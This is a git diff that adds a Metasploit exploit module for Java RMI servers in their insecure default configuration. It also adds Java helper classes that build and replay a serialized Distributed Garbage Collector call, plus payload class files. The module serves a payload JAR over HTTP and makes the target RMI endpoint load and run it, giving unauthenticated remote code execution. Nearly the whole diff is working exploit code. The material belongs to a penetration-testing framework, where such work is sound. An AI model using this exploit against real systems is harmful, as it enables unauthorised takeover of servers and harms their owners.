diff --git a/data/java/metasploit/RMILoader.class b/data/java/metasploit/RMILoader.class new file mode 100644 index 0000000000..0c481c5a29 Binary files /dev/null and b/data/java/metasploit/RMILoader.class differ diff --git a/data/java/metasploit/RMIPayload.class b/data/java/metasploit/RMIPayload.class new file mode 100644 index 0000000000..e3c8eb692a Binary files /dev/null and b/data/java/metasploit/RMIPayload.class differ diff --git a/external/source/javapayload/build.xml b/external/source/javapayload/build.xml index 4c9f2f9ae1..c30c89f7a3 100644 --- a/external/source/javapayload/build.xml +++ b/external/source/javapayload/build.xml @@ -65,13 +65,44 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + - + - + + + + diff --git a/external/source/javapayload/src/rmi/RMICaptureServer.java b/external/source/javapayload/src/rmi/RMICaptureServer.java new file mode 100644 index 0000000000..80defa486f --- /dev/null +++ b/external/source/javapayload/src/rmi/RMICaptureServer.java @@ -0,0 +1,62 @@ +package rmi; + +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InterruptedIOException; +import java.net.ServerSocket; +import java.net.Socket; +import java.rmi.UnmarshalException; + +public class RMICaptureServer { + + // http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html + + public static void main(String[] args) throws Exception { + FileOutputStream fos = new FileOutputStream("build/rmipacket"); + ServerSocket ss = new ServerSocket(11099); + Thread t = new Thread(new Runnable() { + public void run() { + try { + RMISender.main(new String[] {"file:./rmidummy.jar", "localhost", "11099"}); + } catch (UnmarshalException ex) { + // expected + } catch (Exception ex) { + ex.printStackTrace(); + } + } + }); + t.setDaemon(true); + t.start(); + Socket s = ss.accept(); + ss.close(); + DataInputStream in = new DataInputStream(s.getInputStream()); + DataOutputStream out = new DataOutputStream(s.getOutputStream()); + + byte[] hdr = new byte[7]; + in.readFully(hdr); + if (!new String(hdr, "ISO-8859-1").equals("JRMI\0\2K")) + throw new IOException("Unsupported RMI header"); + + out.write('N'); + out.writeUTF("127.0.0.1"); + out.writeInt(11099); + out.flush(); + + in.readUTF(); + in.readInt(); + + s.setSoTimeout(1000); + try { + byte[] buf = new byte[4096]; + int len; + while ((len = in.read(buf)) != -1) { + fos.write(buf, 0, len); + } + } catch (InterruptedIOException ex) { + // we are done + } + fos.close(); + } +} diff --git a/external/source/javapayload/src/rmi/RMIReplaySender.java b/external/source/javapayload/src/rmi/RMIReplaySender.java new file mode 100644 index 0000000000..b56a400da2 --- /dev/null +++ b/external/source/javapayload/src/rmi/RMIReplaySender.java @@ -0,0 +1,37 @@ +package rmi; + +import java.io.DataInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.OutputStream; +import java.net.Socket; + +public class RMIReplaySender { + + // http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html + + public static void main(String[] args) throws Exception { + File rmipacket = new File("build/rmipacket"); + System.out.println(rmipacket.length()); + DataInputStream in = new DataInputStream(new FileInputStream(rmipacket)); + byte[] packetBytes = new byte[(int)rmipacket.length()]; + in.readFully(packetBytes); + in.close(); + + String url = args[0]; + String dummyURL = "file:./rmidummy.jar"; + + String packetStr = new String(packetBytes, "ISO-8859-1"); + int pos = packetStr.indexOf((char)0+""+(char)dummyURL.length() + dummyURL); + packetStr = packetStr.substring(0, pos+1) + (char)url.length() + url + packetStr.substring(pos + 2 + dummyURL.length()); + packetBytes = packetStr.getBytes("ISO-8859-1"); + + Socket s = new Socket(args[1],Integer.parseInt(args[2])); + OutputStream out = s.getOutputStream(); + out.write("JRMI\0\2K\0\0\0\0\0\0".getBytes("ISO-8859-1")); + out.write(packetBytes); + out.flush(); + Thread.sleep(500); + s.close(); + } +} diff --git a/external/source/javapayload/src/rmi/RMISender.java b/external/source/javapayload/src/rmi/RMISender.java new file mode 100644 index 0000000000..4df36534f7 --- /dev/null +++ b/external/source/javapayload/src/rmi/RMISender.java @@ -0,0 +1,36 @@ +package rmi; + +import java.io.ObjectOutput; +import java.lang.reflect.Field; +import java.net.URL; +import java.net.URLClassLoader; +import java.rmi.server.ObjID; +import java.rmi.server.Operation; +import java.rmi.server.RemoteCall; + +import sun.rmi.server.UnicastRef2; +import sun.rmi.transport.DGCImpl_Stub; +import sun.rmi.transport.Endpoint; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; + +public class RMISender { + + public static void main(String[] args) throws Exception { + Endpoint endpoint = new TCPEndpoint(args[1], Integer.parseInt(args[2])); + URLClassLoader ucl = new URLClassLoader(new URL[] {new URL(args[0])}); + Object loader = ucl.loadClass("metasploit.RMILoader").newInstance(); + UnicastRef2 ref = new UnicastRef2(new LiveRef(new ObjID(ObjID.DGC_ID), endpoint, false)); + DGCImpl_Stub stub = new DGCImpl_Stub(ref); + Field f = stub.getClass().getDeclaredField("operations");; + f.setAccessible(true); + RemoteCall remotecall = ref.newCall(stub, (Operation[])f.get(stub), 0, 0xf6b6898d8bf28643L); + ObjectOutput objectoutput = remotecall.getOutputStream(); + objectoutput.writeObject(new ObjID[0]); + objectoutput.writeLong(0); + objectoutput.writeObject(loader); + objectoutput.writeBoolean(false); + ref.invoke(remotecall); + ref.done(remotecall); + } +} diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb new file mode 100644 index 0000000000..615be54044 --- /dev/null +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -0,0 +1,150 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution', + 'Description' => %q{ + This module takes advantage of the default configuration of the RMI Registry and + RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it + invokes a method in the RMI Distributed Garbage Collector which is available via every + RMI endpoint, it can be used against both rmiregistry and rmid, and against most other + (custom) RMI endpoints as well. + + Note that it does not work against Java Management Extension (JMX) ports since those do + not support remote class loading, unless another RMI endpoint is active in the same + Java process. + + RMI method calls do not support or require any sort of authentication. + }, + 'Author' => [ 'mihi' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + # RMI protocol specification + [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'], + ], + 'Platform' => ['java', 'win', 'osx', 'linux', 'solaris'], + 'Privileged' => true, + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Targets' => + [ + [ 'Generic (Java Payload)', + { + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86, + } + ], + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + } + ], + [ 'Mac OS X PPC (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_PPC, + } + ], + [ 'Mac OS X x86 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + } + ] + ], + 'DefaultTarget' => 1 + )) + register_options( [ Opt::RPORT(1099) ], self.class) + end + + def exploit + start_service() + connect + + jar = rand_text_alpha(rand(8)+1) + '.jar' + old_url = "file:./rmidummy.jar" + new_url = get_uri + '/' + jar + packet = gen_rmi_packet + # Java strings in serialized data are prefixed with a 2-byte, big endian length + # (at least, as long as they are shorter than 65536 bytes) + find_me = [old_url.length].pack("n") + old_url + idx = packet.index(find_me) + len = [new_url.length].pack("n") + # Now replace it with the new url + packet[idx, find_me.length] = len + new_url + + # write out minimal header and packet + print_status("Sending request for #{new_url}") + #sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet); + sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet); + + # wait for the request to be handled + while not session_created? + select(nil, nil, nil, 0.25) + handler() + end + + end + + def on_request_uri(cli, request) + if request.uri =~ /\.jar$/i + p = regenerate_payload(cli) + jar = p.encoded_jar + paths = [ + [ "metasploit", "RMILoader.class" ], + [ "metasploit", "RMIPayload.class" ], + ] + jar.add_files(paths, [ Msf::Config.data_directory, "java" ]) + + send_response(cli, jar.pack, + { + 'Content-Type' => 'application/java-archive', + 'Connection' => 'close', + 'Pragma' => 'no-cache' + }) + + print_status("Replied to Request for Payload JAR") + end + end + + + def gen_rmi_packet + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + + "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + + "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + + "\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" + + "\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" + + "\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" + + "\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a" + end + +end